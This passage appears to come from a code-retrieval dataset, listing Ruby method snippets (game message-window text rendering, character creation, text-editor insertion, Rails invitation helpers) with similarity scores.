\"\\011\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n @wait = $1.to_i\n\n # go to next text\n return\n end\n \n # If \\ws[n]\n if c == \"\\013\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n $game_system.write_speed = $1.to_i\n\n # go to next text\n return\n end \n # If \\oa[n]\n if c == \"\\014\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n index = $1.to_i\n @text.sub!(\" \", \"\")\n item = $data_armors[index]\n # draw the icon\n icon = RPG::Cache.icon(item.icon_name)\n line = self.contents.text_size(\"dj\").height\n self.contents.blt(@x + 4, (@y * line) + 4, icon, Rect.new(0, 0, 24, 24))\n @x += 24\n\n # go to next text\n return\n end\n \n # If \\oi[n]\n if c == \"\\015\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n index = $1.to_i\n @text.sub!(\" \", \"\")\n item = $data_items[index]\n # draw the icon\n\t if item != nil\n\t\ticon = RPG::Cache.icon(item.icon_name) \n\t\tline = self.contents.text_size(\"dj\").height\n\t\tself.contents.blt(@x + 4, (@y * line) + 4, icon, Rect.new(0, 0, 24, 24))\n\t\t@x += 24\n\t end\n\n # go to next text\n return\n end\n \n # If \\os[n]\n if c == \"\\016\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n index = $1.to_i\n @text.sub!(\" \", \"\")\n item = $data_skills[index]\n # draw the icon\n icon = RPG::Cache.icon(item.icon_name)\n line = self.contents.text_size(\"dj\").height\n self.contents.blt(@x + 2, (@y * line) + 4, icon, Rect.new(0, 0, 24, 24))\n @x += 24\n\n # go to next text\n return\n end\n \n # If \\ow[n]\n if c == \"\\017\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n index = $1.to_i\n @text.sub!(\" \", \"\")\n item = $data_weapons[index]\n # draw the icon\n icon = RPG::Cache.icon(item.icon_name)\n line = self.contents.text_size(\"dj\").height\n self.contents.blt(@x + 2, (@y * line) + 4, icon, Rect.new(0, 0, 24, 24))\n @x += 24\n \n # go to next text\n return\n end\n \n # If \\tc\n if c == \"\\020\"\n # center justify\n $game_system.text_justification = CENTER\n get_x_value\n # go to next text\n return\n end\n \n # If \\tl\n if c == \"\\021\"\n # left justify\n $game_system.text_justification = LEFT\n get_x_value\n # go to next text\n return\n end\n \n # If \\tr\n if c == \"\\022\"\n # right justify\n $game_system.text_justification = RIGHT\n get_x_value\n # go to next text\n return\n end\n \n # If \\ignr\n if c == \"\\023\"\n # set ignore flage\n @ignore = true\n # go to next text\n return\n end\n \n # if \\slv\n if c == \"\\024\"\n # we need to show a slave window\n @text.sub!(/\\[(.*?)\\]/, \"\")\n name = $1.to_s\n $game_system.slave_windows[name].show = true\n return\n end\n \n # if \\ind\n if c == \"\\025\"\n # we need to show a independent window\n @text.sub!(/\\[(.*?)\\]/, \"\")\n name = $1.to_s\n if $game_system.indy_windows[name].show\n $game_system.indy_windows[name].dispose\n $game_system.indy_windows.delete(name)\n else\n $game_system.indy_windows[name].show = true\n end\n return\n end\n \n # if \\c (hex color)\n if c == \"\\026\"\n # convert hex color to RGB\n @text.sub!(/\\[([0123456789abcdef]+)\\]/, \"\")\n hex_code = $1.to_s\n \n red = (\"0x\" + hex_code.slice(0..1)).hex\n blue = (\"0x\" + hex_code.slice(2..3)).hex\n green = (\"0x\" + hex_code.slice(4..5)).hex\n \n self.contents.font.color = Color.new(red, blue, green)\n return\n end\n \n # If new line text\n if c == \"\\n\"\n # Add 1 to y\n if !@ignore\n @y += 1\n end\n if @text != \"\"\n get_x_value\n end\n @ignore = false\n\n # go to next text\n return\n end\n if @ignore\n return\n end\n # Draw text\n line = self.contents.text_size(\"dj\").height\n if $game_system.shadowed_text\n old_color = self.contents.font.color.clone\n self.contents.font.color = $game_system.shadow_color \n self.contents.draw_text(6 + @x, line * @y + 2, 40, 32, c)\n self.contents.font.color = old_color\n end\n self.contents.draw_text(4 + @x, line * @y, 40, 32, c)\n # Add x to drawn text width\n @x += self.contents.text_size(c).width\n end",
"def write_char(c)\n if c == \"\\000\"\n # Return to original text\n c = \"\\\\\"\n end\n # If \\C[n]\n if c == \"\\001\"\n # Change text color\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n color = $1.to_i\n if color >= 0 and color <= 7\n self.contents.font.color = text_color(color)\n end\n # go to next text\n return\n end\n # If \\G\n if c == \"\\002\"\n # Make gold window\n if @gold_window == nil\n @gold_window = Window_Gold.new\n @gold_window.x = 560 - @gold_window.width\n if $game_temp.in_battle\n @gold_window.y = 192\n else\n @gold_window.y = self.y >= 128 ? 32 : 384\n end\n @gold_window.opacity = self.opacity\n @gold_window.back_opacity = self.back_opacity\n end\n # go to next text\n return\n end\n # If \\skip\n if c == \"\\003\"\n # toggle text skipping\n #$game_system.text_skip = !$game_system.text_skip\n # go to next text\n return\n end\n # If \\b\n if c == \"\\004\"\n # toggle bold\n self.contents.font.bold = !self.contents.font.bold\n # go to next text\n return\n end\n # If \\i\n if c == \"\\005\"\n # toggle italics\n self.contents.font.italic = !self.contents.font.italic\n # go to next text\n return\n end\n # If \\s\n if c == \"\\006\"\n # toggle shadow\n #$game_system.shadowed_text = !$game_system.shadowed_text\n # go to next text\n return\n end\n # If \\font\n if c == \"\\007\"\n # change font\n @text.sub!(/\\[(.*?)\\]/, \"\")\n font = $1.to_s\n @font = font\n if font == \"\"\n self.contents.font.name = Font.default_name\n else\n self.contents.font.name = font\n end\n # go to next text\n return\n end\n # If \\p[n]\n if c == \"\\010\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n @pause_time = $1.to_i\n\n # go to next text\n return\n end\n \n # If \\w[n]\n if c == \"\\011\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n @wait = $1.to_i\n\n # go to next text\n return\n end\n \n # If \\ws[n]\n if c == \"\\013\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n $game_system.write_speed = $1.to_i\n\n # go to next text\n return\n end \n # If \\oa[n]\n if c == \"\\014\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n index = $1.to_i\n @text.sub!(\" \", \"\")\n item = $data_armors[index]\n # draw the icon\n icon = RPG::Cache.icon(item.icon_name)\n self.contents.blt(@x + 2, (@y * 32) + 4, icon, Rect.new(0, 0, 24, 24))\n @x += 24\n\n # go to next text\n return\n end\n \n # If \\oi[n]\n if c == \"\\015\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n index = $1.to_i\n @text.sub!(\" \", \"\")\n item = $data_items[index]\n # draw the icon\n icon = RPG::Cache.icon(item.icon_name)\n self.contents.blt(@x + 2, (@y * 32) + 4, icon, Rect.new(0, 0, 24, 24))\n @x += 24\n\n # go to next text\n return\n end\n \n # If \\os[n]\n if c == \"\\016\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n index = $1.to_i\n @text.sub!(\" \", \"\")\n item = $data_skills[index]\n # draw the icon\n icon = RPG::Cache.icon(item.icon_name)\n self.contents.blt(@x + 2, (@y * 32) + 4, icon, Rect.new(0, 0, 24, 24))\n @x += 24\n\n # go to next text\n return\n end\n \n # If \\ow[n]\n if c == \"\\017\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n index = $1.to_i\n @text.sub!(\" \", \"\")\n item = $data_weapons[index]\n # draw the icon\n icon = RPG::Cache.icon(item.icon_name)\n self.contents.blt(@x + 2, (@y * 32) + 4, icon, Rect.new(0, 0, 24, 24))\n @x += 24\n \n # go to next text\n return\n end\n \n # If \\tc\n if c == \"\\020\"\n # center justify\n @text_justification = CENTER\n get_x_value\n # go to next text\n return\n end\n \n # If \\tl\n if c == \"\\021\"\n # left justify\n @text_justification = LEFT\n get_x_value\n # go to next text\n return\n end\n \n # If \\tr\n if c == \"\\022\"\n # right justify\n @text_justification = RIGHT\n get_x_value\n # go to next text\n return\n end\n \n # If \\ignr\n if c == \"\\023\"\n # set ignore flage\n @ignore = true\n # go to next text\n return\n end\n \n # if \\c (hex color)\n if c == \"\\026\"\n # convert hex color to RGB\n @text.sub!(/\\[([0123456789abcdef]+)\\]/, \"\")\n hex_code = $1.to_s\n \n red = (\"0x\" + hex_code.slice(0..1)).hex\n blue = (\"0x\" + hex_code.slice(2..3)).hex\n green = (\"0x\" + hex_code.slice(4..5)).hex\n \n self.contents.font.color = Color.new(red, blue, green)\n return\n end\n \n # If new line text\n if c == \"\\n\"\n # Add 1 to y\n if !@ignore\n @y += 1\n end\n if @text != \"\"\n get_x_value\n end\n @ignore = false\n\n # go to next text\n return\n end\n if @ignore\n return\n end\n # Draw text\n line = self.contents.text_size(\"dj\").height\n if $game_system.shadowed_text\n old_color = self.contents.font.color.clone\n self.contents.font.color = $game_system.shadow_color\n self.contents.draw_text(6 + @x, line * @y + 2, 40, 32, c)\n self.contents.font.color = old_color\n end\n self.contents.draw_text(4 + @x, line * @y, 40, 32, c)\n # Add x to drawn text width\n @x += self.contents.text_size(c).width\n end",
"def move_player_char(player_position, player_char)\n player = Array.new(16, \" \") \n player[player_position] = player_char\n return player\n end",
"def rand_char\n self[Kernel.rand(length), 1]\n end",
"def build_character(genome, name, surname=NEW_LINEAGE_SURNAME)\n Character.new(genome,\n @build_factory.build(genome.build_choices).stats,\n name,\n surname)\n end",
"def insert_character(character, index = nil)\n return self unless character\n\n Vedeu::Editor::Line.coerce(Vedeu::Editor::Insert\n .into(line, character, index, size))\n end",
"def random_character\n Random.rand(32...127).chr\nend",
"def insert_text(row, column, text, style = CharacterStyle.default)\n text.each_char do |char|\n self[row][column] = Character.new(char, style)\n column += 1\n end\n self\n end",
"def creation_title\n\t\t\"Create Character\"\n\tend",
"def generate(char, size, color)\n color = \"#\" + color.rgb.map{|f| f.to_s(16).rjust(2, \"0\") }.join()\n path = @fontimage.write(char.value, color, size.to_i)\n font_image_url(path)\n end",
"def initialize char1\n\t\t@p=char1\n\tend",
"def make_board(char_string)\nend",
"def add_one(input)\n newc = new_char\n input + newc\n end",
"def new_letter(start_letter)\n\t \tletter= alphabet\n\t \t\n\t \twhile letter == start_letter do\n\t \t\tletter= alphabet\n\t \tend\n\t \t\n\t \treturn letter\n\tend",
"def +(chr)\n @str += chr\n end",
"def rb_mvaddch row, col, char\n super(row-@top, col-@left, char)\n end",
"def char\n code ? [code].pack('U') : ' '\n end",
"def char!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 30 )\n\n\n\n type = CHAR\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 203:5: '\\\\'' . '\\\\''\n match( 0x27 )\n match_any\n match( 0x27 )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 30 )\n\n\n end",
"def chr() end",
"def char\n\t\t\t\t@char\n\t\t\tend",
"def insert_character(character, index = nil)\n return self unless character\n\n Vedeu::Editor::Line.coerce(Vedeu::Editor::Insert\n .into(collection, character, index, size))\n end",
"def random_char\n lower=32\n upper=126\n (rand(upper-lower+1) + lower).chr\n end",
"def add(ch)\n return false if @index >= @max_char\n @name += ch\n @index += 1\n refresh\n return true\n end",
"def addCharacter(c_to_add,pos,pix_offset)\n\t\t\tfont_path = @font_lib.font_path\n\t\t\tif ( !File.exist?(font_path) )\n\t\t\t\traise CaptchaFontException, \"the #{@font} font was not found.\"\n\t\t\tend\n\t\t\timg_path = @font_lib.getCharImgLoc(c_to_add)\n\t\t\tif ( !File.exist?(img_path) )\n\t\t\t\traise CaptchaFontException, \n\t\t\t\t\t\"the char #{c_to_add} was not found in the font library.\"\n\t\t\tend\n img_chunk = ChunkyPNG::Canvas.from_file(img_path)\n offset = pos * pix_offset \n @captcha.compose!(img_chunk,offset)\n end",
"def rb_mvaddch row, col, char\n mvaddch row, col, char\n end",
"def add(character)\n if @total_width + @char_widths[character] <= MAX_WIDTH and\n @text.size < @chars_max\n if $input_text_sound_mode == 1\n $game_system.se_play($data_system.cursor_se)\n end\n @text.size.downto(@index+1) do |i|\n @text[i] = @text[i-1]\n end\n @text[@index] = character\n @index += 1\n @cursor_x += @char_widths[character]\n else\n $game_system.se_play($data_system.cancel_se)\n end\n end",
"def new_player(msg)\n nick = msg.user.nick\n # Check if the user already has a character\n if Player.nick_exists? nick\n msg.reply \"#{nick} already has a character!\"\n return\n end\n # Make a new one\n Player.new_player(nick).save\n msg.reply \"Created new character for #{nick}!\"\n msg.reply \"To give your character a name, use: !player set name NAME\"\n msg.reply \"To give your character a race, use: !player set race RACE\"\n msg.reply \"To add a backstory, use: !player set backstory BACKSTORY\"\n end",
"def create_character\n get_min_and_max_stats\n character_base\n player_base\n add_spell_to_known_spells(\"ear-piercing scream\", @full_spell_list[\"ear-piercing scream\"])\n end",
"def set_custom_character(var1, var2)\n\t Klass.setCustomCharacter(@handle, @index + 8, var1, var2)\n [var1, var2]\n end",
"def getChar(c)\n c.chr\nend",
"def getChar(c)\n c.chr\nend",
"def addchar(c)\n\t\tif @marked == false\n\t\t\tinsertchar(@row,@col,c.chr)\n\t\telse\n\t\t\tmark_row,row = ordered_mark_rows\n\t\t\tfor r in mark_row..row\n\t\t\t\tif (@text[r].length==0)&&((c==?\\s)||(c==?\\t)||(c==$ctrl_i)||(c==$space))\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tif @colmode\n\t\t\t\t\tsc = bc2sc(@row,@col)\n\t\t\t\t\tcc = sc2bc(r,sc)\n\t\t\t\t\tif(cc>@text[r].length) then next end\n\t\t\t\t\tinsertchar(r,cc,c.chr)\n\t\t\t\telse\n\t\t\t\t\tinsertchar(r,0,c.chr)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tcursor_right\n\t\tif @linewrap\n\t\t\tjustify(true)\n\t\tend\n\tend",
"def create_character_sprite\n if @character.is_a?(PFM::Pokemon)\n @character_sprite = PokemonIconSprite.new(self, false)\n @character_sprite.data = @character\n elsif @character.is_a?(String)\n @character_sprite = Sprite.new(self)\n @character_sprite.set_bitmap(@character, :character)\n @character_sprite.src_rect.set(nil, nil, @character_sprite.width / 4, @character_sprite.height / 4)\n else\n return\n end\n @character_sprite.set_position(*character_sprite_position)\n @character_sprite.set_origin(@character_sprite.width / 2, @character_sprite.height)\n end",
"def insert_character(character)\n return self if character.is_a?(Symbol)\n\n @lines = lines.insert_character(character, y, x)\n\n right\n\n refresh\n end",
"def initialize(character)\n @character = character\n end",
"def simple_character\n # do nothing\n end",
"def add(chr)\n @str += chr\n end",
"def initialize(append_characters)\n super(FIRST_CHARACTER, append_characters)\n end",
"def char(column, row, char)\n command \"T#{column},#{row},#{char}\"\n end",
"def add_horizontal_char(char)\n node = find_horizontal(char);\n if node != nil\n return node\n end\n node = Node.new(char, up)\n add_horizontal(node)\n return node\n end",
"def initial\n chr\n end",
"def random_letter\n (rand(93) + 33).chr\n end",
"def random_char\n random_byte.chr\n end",
"def _rl_insert_char(count, c)\r\n return 0 if (count <= 0)\r\n\r\n incoming = ''\r\n\r\n if @rl_byte_oriented\r\n incoming << c\r\n incoming_length = 1\r\n else\r\n @pending_bytes << c\r\n if _rl_get_char_len(@pending_bytes) == -2\r\n return 1\r\n else\r\n incoming = @pending_bytes\r\n @pending_bytes = ''\r\n incoming_length = incoming.length\r\n end\r\n end\r\n\r\n if(count>1)\r\n string = incoming * count\r\n rl_insert_text(string)\r\n string = nil\r\n return 0\r\n end\r\n\r\n if @rl_byte_oriented\r\n # We are inserting a single character.\r\n #If there is pending input, then make a string of all of the\r\n #pending characters that are bound to rl_insert, and insert\r\n #them all.\r\n if (_rl_any_typein())\r\n _rl_insert_typein(c)\r\n else\r\n rl_insert_text(c)\r\n end\r\n else\r\n rl_insert_text(incoming)\r\n end\r\n\r\n return 0\r\n end",
"def create_phrase\n @phrase_text = add_text(base_x, base_y, 0, 16, @phrase)\n end",
"def set_char(attr, val); end",
"def get_or_create(char)\n @children[char] ||= Node.new\n end",
"def fix_character(name)\n fix_class = Character.const_get(name);\n fix_class.new\n end",
"def node_with_char(char)\n @nodes.each do |node|\n return node if(node.char == char)\n end\n new_node = GraphNode.new(char)\n @nodes.push(new_node)\n return new_node\n end",
"def create_character(user, name: \"Testy McTesterson\", race: Race.first, starting_points: 20, starting_florins: 0, starting_death_thresholds: 10, state: \"active\", title: \"\", no_title: false, declared_on: 5.years.ago)\n character = user.characters.create_with(race: race, starting_points: starting_points, starting_florins: starting_florins, starting_death_thresholds: starting_death_thresholds, state: state, title: title, declared_on: declared_on, no_title: no_title).find_or_create_by!(name: name)\n guild_membership = character.guild_memberships.build\n guild_membership.character = character\n guild_membership.start_points = 0\n guild_membership.declared_on = character.declared_on\n guild_membership.provisional = false\n guild_membership.approved = true\n character.save!\n character\n end",
"def character\n system(\"clear\")\n a = Artii::Base.new :font => 'slant'\n puts a.asciify('Fantasy Final')\n sleep(5)\n end",
"def new_char()\n case\n when current_char == \"\\n\"\n # Underline, and Strikethrough\n if @options[:extended_markup] == true\n self.data.gsub!(/---([^-]+)---/,\"<strike>\\\\1</strike>\")\n self.data.gsub!(/_([^_]+)_/,\"<u>\\\\1</u>\")\n end\n\n # Behavior Switches\n self.data.gsub!(/__([\\w]+)__/) { |r|\n case behavior_switch_key_name($1)\n when \"behavior_switches.toc\"\n @options[:link_handler].toc(@options[:sections], @options[:toc_numbered])\n when \"behavior_switches.noeditsection\"\n @options[:noedit] = true\n when \"behavior_switches.editsection\"\n @options[:noedit] = false\n else\n \"\"\n end\n }\n\n # Horizontal Rule\n self.data.gsub!(/^([-]{4,})/) { |r| \"<hr />\" }\n\n render_bold_italic()\n\n # Lists\n tmp = ''\n self.data.each_line do |line|\n if line =~ /^([#\\*:;]+)/\n # Add current line to list data\n @list_data << line\n else\n # render list if list data was just closed\n tmp += render_list_data() unless @list_data.empty?\n tmp += line\n end\n end\n self.data = tmp\n\n # Headings\n is_heading = false\n self.data.gsub!(/^([=]{1,6})\\s*(.*?)\\s*(\\1)/) { |r|\n is_heading = true\n (@paragraph_open ? \"</p>\" : \"\") + gen_heading($1.length,$2)\n }\n\n self.data = self.data.auto_link\n\n # Paragraphs\n if is_heading\n @paragraph_open = false\n else\n if self.data =~ /^\\s*$/ && @paragraph_open && @list_data.empty?\n self.data = \"</p>#{self.data}\"\n @paragraph_open = false\n else\n if self.data !~ /^\\s*$/\n self.data = \"<p>#{self.data}\" and @paragraph_open = true unless @paragraph_open\n end\n end\n end\n\n self.params << self.data\n self.data = \"\"\n else\n self.data << current_char\n end\n return true\n end",
"def generate_new_symbol\n new_symbol = Proposition::START_OF_NEW_SYMBOL + Proposition::NEW_SYMBOL_DEFAULT + @@new_symbol_count.to_s\n @@new_symbol_count = @@new_symbol_count.next\n new_symbol\n end",
"def cipher(range,name,num,x)\n\n\tres = x.ord + num\t\t\t\t\t\t\t#.ord of the future character\n\tope = range.last.ord - range.first.ord + 1\t\t#the operation to do for drive the new character into the range\n\t\tif res < range.first.ord\t\t\t\t\t\n\t\t\t(ope + res).chr\n\t\telsif res > range.last.ord\n\t\t\t(- ope + res).chr\n\t\telse\n\t\t\tres.chr\t\t\t\t\t\t\t\t\t#the return of the function is the new character\t\t\n\t\tend\t\t\n\nend",
"def character(code_point_or_name)\n if code_point_or_name.is_a?(Symbol)\n found = Erector::CHARACTERS[code_point_or_name]\n if found.nil?\n raise \"Unrecognized character #{code_point_or_name}\"\n end\n raw(\"&#x#{sprintf '%x', found};\")\n elsif code_point_or_name.is_a?(Integer)\n raw(\"&#x#{sprintf '%x', code_point_or_name};\")\n else\n raise \"Unrecognized argument to character: #{code_point_or_name}\"\n end\n end",
"def create_item(index)\n actor = @data[index]\n rect = item_rect(index, true)\n \n ucChar = UCFormationCharFace.new(self, actor, rect)\n \n return ucChar\n end",
"def create\n\n raise BadRequestError.new('no current character') if current_character.nil?\n raise BadRequestError.new('missing parameter(s)') if params[:character].nil? || params[:character][:name].blank?\n\n current_character.change_name_transaction(params[:character][:name].strip) \n \n respond_to do |format|\n format.json { render json: {}, status: :ok }\n end\n end",
"def next_char\n @current_char_pos += 1\n @current_char = @string[@current_char_pos, 1]\n end",
"def set_char at , char\n raise \"char not fixnum #{char}\" unless char.kind_of? Fixnum\n index = range_correct_index(at)\n internal_object_set( index + 1 , char )\n end",
"def value_with (char)\n temp_val = @value\n \n if @cursor_location == @value.length\n temp_val = @value + char\n else\n temp_val = @value.slice(0..@cursor_location-1) + char + @value.slice(@cursor_location..@value.length-1)\n end\n \n temp_val\n end",
"def rand_char\n @chars.sample\n end",
"def create\n respond_to do |format|\n if @character.save\n format.html { redirect_to @character, notice: 'Character was successfully created.' }\n format.json { render action: 'show', status: :created, location: @character }\n else\n format.html { render action: 'new' }\n format.json { render json: @character.errors, status: :unprocessable_entity }\n end\n end\n end",
"def self\n @fundamental_character = current_character",
"def encode(letters, char, offset)\n\t\t((((char - letters.min) + offset) % 26) + letters.min).chr\n\t\t# binding.pry\n\tend",
"def create\n @character = @user.build_character(params[:character])\n\n respond_to do |format|\n if @character.save\n flash[:notice] = 'Character was successfully created.'\n format.html { redirect_to(@character) }\n format.xml { render :xml => @character, :status => :created, :location => @character }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @character.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def editor_insert_character!\n Vedeu.bind(:_editor_insert_character_) do |name, character|\n Vedeu.documents.by_name(name).insert_character(character)\n end\n end",
"def gen_alpha(length = 10)\n positive_int! length\n gen_string_from_letters length, ASCII_LETTERS\n end",
"def []=(x, y, char)\n @chars[y][x] = char\n end",
"def square_character(square_val)\n case square_val\n when :x, :o\n square_val.to_s.upcase\n else\n \" \"\n end\n end"
] |
[
"0.78458524",
"0.7482761",
"0.6809261",
"0.6784149",
"0.66882825",
"0.66339636",
"0.64668936",
"0.64668936",
"0.64668936",
"0.64668936",
"0.64668936",
"0.64668936",
"0.64668936",
"0.64668936",
"0.64668936",
"0.64667785",
"0.64667785",
"0.64667785",
"0.64667785",
"0.64667785",
"0.64667785",
"0.64667785",
"0.64667785",
"0.64667785",
"0.64667785",
"0.6367054",
"0.63436824",
"0.63436824",
"0.6341311",
"0.633511",
"0.63056594",
"0.6192496",
"0.6182173",
"0.6164209",
"0.61613184",
"0.61185193",
"0.61138177",
"0.60543585",
"0.60483104",
"0.6037155",
"0.6020905",
"0.60173213",
"0.601087",
"0.60061044",
"0.599951",
"0.59767306",
"0.597281",
"0.5969992",
"0.5959494",
"0.5952577",
"0.59502685",
"0.5929798",
"0.59211093",
"0.5889662",
"0.58860576",
"0.58816856",
"0.58787423",
"0.58773077",
"0.5874481",
"0.5873433",
"0.586051",
"0.586051",
"0.58533484",
"0.58400387",
"0.5837168",
"0.58351904",
"0.58256686",
"0.5825217",
"0.58137083",
"0.57979953",
"0.5789837",
"0.5782553",
"0.5781893",
"0.5775938",
"0.57638454",
"0.5752575",
"0.569997",
"0.5690046",
"0.568655",
"0.56855077",
"0.56651473",
"0.56509703",
"0.56487185",
"0.5637109",
"0.56355083",
"0.56347334",
"0.5632137",
"0.5624535",
"0.5611376",
"0.5601939",
"0.5600477",
"0.55960876",
"0.5594092",
"0.556979",
"0.5562433",
"0.5550656",
"0.55467695",
"0.55410224",
"0.5540349",
"0.5537204"
] |
0.56662244
|
80
|
Determines how to display the invitation, depending on the invitation type. Options: :link_to_invitation will link to the invitee show page (for internal invitations) :expose_external_invitation_email will expose the external invitee's email (should only be exposed to sponsor)
|
def format_invitation(invitation, options = {})
expose_external_invitation_email = options.delete(:expose_external_invitation_email) || false
link_to_invitation = options.delete(:link_to_invitation) || false
if invitation.is_a? SurveyInvitation || NetworkInvitation then
if link_to_invitation then
link_to_organization(invitation.invitee)
else
invitation.invitee.name_and_location
end
else
if expose_external_invitation_email then
invitation.organization_name_and_email
else
invitation.organization_name
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def invitation_url(type, employee)\n if type == :invite\n new_account_organization_invitation_path(current_account, current_organization, invitation: { employee_id: employee.id })\n else\n edit_account_organization_invitation_path(current_account, current_organization, employee.invitation)\n end\n end",
"def invite(invitation)\n @invitable = invitation.invitable\n @user = invitation.user\n # TODO: UPDATE the registration URL\n @registration_url = root_url\n\n view = 'invite'\n # invite_project or invite_board if available\n view += ('_%s' % invitation.invitable_type.parameterize) if @invitable\n\n title = @invitable.nil? ? Doers::Config.app_name : @invitable.title\n subject = _('%s invites you to work on %s.') % [invitation.user.name, title]\n\n mail(:to => invitation.email, :subject => subject, :template_name => view)\n end",
"def deliver_invitation_with options={}\n if model = options[:model]\n # self.override_devise_notification = \"invitation_instructions_with_#{model.class.model_name.to_s.underscore}\"\n self.override_devise_notification = \"invitation_instructions_with_member\"\n self.override_devise_model = model\n end\n if message = options[:personal_message]\n self.invitation_message = message\n end\n deliver_invitation\n end",
"def index\n case params[:invitation_type].try(:to_sym)\n when :three_sixty\n @email_invitations = Invitation.where(sender_uuid: current_user.uuid, recipient_type: 'email')\n else\n @email_invitations = []\n end\n\n if params[:show_desktop].present?\n render :layout => \"layouts/application_ajax\"\n end\n\n\n end",
"def show\n @invitation = Invitation.find(params[:id])\n respond_with(@invitation)\n end",
"def update\n @invitation = Invitation.find(params[:id])\n \n if (params[:invitation_type] == '0')\n flash[:notice] = \"Invitation created (not emailed out): #{$SERVER_URL}/intro/#{@invitation.token}\"\n else\n Emailer.deliver_invitation(@invitation, nil, intro_invitation_url(@invitation.token), params[:invitation_type])\n flash[:notice] = \"Invitation sent to #{@invitation.recipient_email}\"\n end\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.js {}\n end\n end",
"def get_invitation_link\n\t\tscope = self.scope\n\t\trace_id = self.race_id\n\t\t\n\t\tbase_url = InvitationEmailTarget.get_base_url(race_id, scope)\n\t\t\n\t\tbase_url += case self.scope\n\t\twhen (COMPETITION_SCOPE[:SITE])\n\t\t\t'competitions/' + self.id.to_s + '?code=' + self.invitation_code\n\t\twhen (COMPETITION_SCOPE[:CYCLINGTIPS])\n\t\t\t'?competition_id=' + self.id.to_s + '&code=' + self.invitation_code\n\t\tend\n\t\t\n\t\treturn base_url\n\tend",
"def accept_invitation\n \n end",
"def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @invitation }\n end\n end",
"def invitation(invitation)\n @recipient = invitation.recipient_mail\n @sender_name = invitation.sender.name\n @sender_mail = invitation.sender.email\n mail(:to => @recipient, :subject => t(\"mailers.invitation_mail.subject\", :sender_name =>@sender_name) ) \n end",
"def invite_user invitation, link\n\n @invitation = invitation\n @link = link\n\n mail :to => invitation.email, :subject => t('invitation_mailer.invite_user.subject')\n end",
"def set_invitation_flags\n self.invitation_required = false\n true\n end",
"def accept_invitation\n if params[:type] && params[:type]==\"Discussion\"\n @nsu = NonSiteUser.find(params[:id])\n @disc = Discussion.find(@nsu.invitable_id)\n @ud = UserDiscussion.create(:user_id=>@login_user.id, :discussion_id=>@disc.id) if !@login_user.is_discussed?(@disc.id)\n @notice = @ud && @ud.save && @nsu.destroy ? \"You have joined discussion successfully.\" : \"Could not join discussion.\"\n else\n @accept = DiscussionGroupUser.find(params[:id])\n @notice = @accept.update_attribute(:is_member, true)\n end\n\n respond_to do |format|\n format.js\n end\n end",
"def show\n @invitation = Invitation.find(params[:id])\n @invitation.update_attributes(:accepted_at=>Time.now) if @invitation.accepted_at.nil?\n\n # For now, just redirect to the homepage after marking the invitation?\n\n respond_to do |format|\n # format.html # show.rhtml\n format.html { redirect_to :controller=>\"home\", :action=>\"index\" }\n format.xml { render :xml => @invitation.to_xml }\n end\n end",
"def show_my_invite(user, invites)\n invite = invites.where(user_id: user.id).first\n return_string = \"\"\n if invite.present?\n return_string += edit_state_icons(invite, true)\n end\n return_string.html_safe\n end",
"def match_to_invitation_or_send_email\n if invitation = joinable.membership_invitation_for(user)\n invitation.accept(invitation.user)\n else\n UserMailer.project_membership_request_created_email(joinable.who_can?(:manage), self).deliver\n end\n end",
"def url_after_invite(invite)\n invite.invitable\n end",
"def invitation_instructions(record, token, options={})\n\t\t@message = record.invitation_message\n\t\t@collaborator_name = record.full_name\n\t\tinvitation_type = record.invitation_type\n\t\tcollaboration_object_type = invitation_type.class.to_s.downcase\n\t\t@sender_name = record.invited_by.try(:full_name)\n\t\t@collaboration_link = \"#{ENV['DOMAIN']}/users/invitation/accept?invitation_token=#{token}&invitation_type=#{collaboration_object_type}&invitation_type_id=#{invitation_type.id}\"\n\t\tp \"------------------------------------------------------\"\n\t\tp \"New User - Sending CollabInvitation for #{collaboration_object_type} to #{record.email}\"\n\t\tp \"-------------------------------------------------------\"\n\t\tif collaboration_object_type == \"project\"\n\t\t\t@project_title = record.invitation_type.title\n\t\t\tmail(\"new_user_project_collaboration_invitation\",email: record.email)\n\t\telsif collaboration_object_type == \"document\"\n\t\t\t@document_title = record.invitation_type.title\n\t\t\t@project_title = record.invitation_type.project.title\n\t\t\tmail(\"new_user_document_collaboration_invitation\",email: record.email)\n\t\tend\n\tend",
"def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @invitation }\n end\n end",
"def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invitation }\n end\n end",
"def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @invitation.to_xml }\n end\nend",
"def show_invitation\n # Get a timestamp for the cache key:\n @max_updated_at = get_timestamp_from_relation_chain() # default: MIR\n end",
"def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invitation }\n end\n end",
